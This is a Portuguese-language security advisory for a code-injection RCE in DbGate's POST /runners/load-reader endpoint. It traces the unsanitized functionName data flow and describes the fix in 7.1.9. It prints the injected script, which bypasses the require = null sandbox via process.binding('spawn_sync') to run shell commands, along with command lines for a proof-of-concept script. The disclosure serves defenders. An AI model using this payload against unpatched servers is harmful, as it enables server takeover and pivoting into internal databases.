
Execução Remota de Código no DbGate via injeção de functionName no endpoint loadReader — CVSS 8.8
functionNameSeveridade: Alta (CVSS 8.8)
CWE: CWE-94 — Controle Inadequado da Geração de Código ('Injeção de Código')
Afetado: dbgate-api ≤ 7.1.8 (corrigido na 7.1.9)
Advisory: GHSA-hv83-ggc4-v385
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-48017
Crédito: Romain Deperne
O endpoint POST /runners/load-reader recebe um parâmetro functionName e o interpola diretamente em uma string de modelo JavaScript que é então executada em um processo bifurcado — sem sanitização ou validação. Qualquer usuário autenticado (sem necessidade de permissão especial) pode escapar da chamada pretendida e executar JavaScript arbitrário, alcançando execução remota de código no servidor.
O runner bifurcado define require = null como uma sandbox, mas isso é trivialmente contornado: ainda é acessível e gera um processo real do SO.
process.binding("spawn_sync")Eu estava auditando o subsistema de runner do DbGate em busca da lacuna entre caminhos de execução de código protegidos e desprotegidos. O runner start() em runners.js:292 está devidamente protegido — ele chama testStandardPermission('run-shell-script') e verifica platformInfo.allowShellScripting. O loadReader() faz algo conceitualmente semelhante (constrói e executa um script loader JS) mas não possui nenhuma dessas verificações. Eu rastreei o fluxo de dados:
runners.js:353 loadReader({ functionName, props })
runners.js:366 loaderScriptTemplate(prefix, functionName, ...)
runners.js:64 `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33 return `dbgateApi.${functionName}` // ← no sanitization
functionName é controlada pelo atacante e cai dentro de uma string de modelo executada. O prefixo dbgateApi. é a única coisa na frente dela, e é escapável: fechar a expressão com toString();, injetar o payload e comentar o (${props}) restante com // resulta em JS válido.
Arquivo: packages/api/src/controllers/runners.js (loadReader → loaderScriptTemplate)
Arquivo: packages/tools/src/packageTools.ts:33 (compileShellApiFunctionName)
// packageTools.ts:33 — functionName flows in unsanitized
return `dbgateApi.${functionName}`;
// runners.js:64 — interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
Script gerado (injetado):
const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});
compileShellApiFunctionName() foi escrita para transformar um nome curto em um caminho de API totalmente qualificado (dbgateApi.<nome>), confiando implicitamente que functionName é um identificador. O valor, no entanto, vem diretamente do corpo da requisição HTTP. Como é concatenado em código-fonte que é posteriormente eval/forked, a suposição de confiança é um RCE. A sandbox require = null não ajuda — process.binding("spawn_sync") interno do Node a contorna.
Correção (7.1.9): validar functionName contra uma lista de permissões de identificadores estrita antes de compilá-la no script loader.
poc/rce_loadreader_functionname_injection.py — aciona o endpoint real de ponta a ponta.
# with an existing JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'
# or log in first
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'
O script constrói o payload functionName, envia para POST /runners/load-reader, e a chamada spawn_sync injetada executa o comando no processo runner bifurcado.
RCE autenticado no host da API do DbGate. O DbGate é uma GUI de gerenciamento de banco de dados frequentemente implantada com amplo alcance de rede para bancos de dados internos — a execução de código nele é um pivô forte para a camada de dados.
Divulgado de forma responsável. PoC publicado após o envio da correção, para defensores e engenharia de detecção.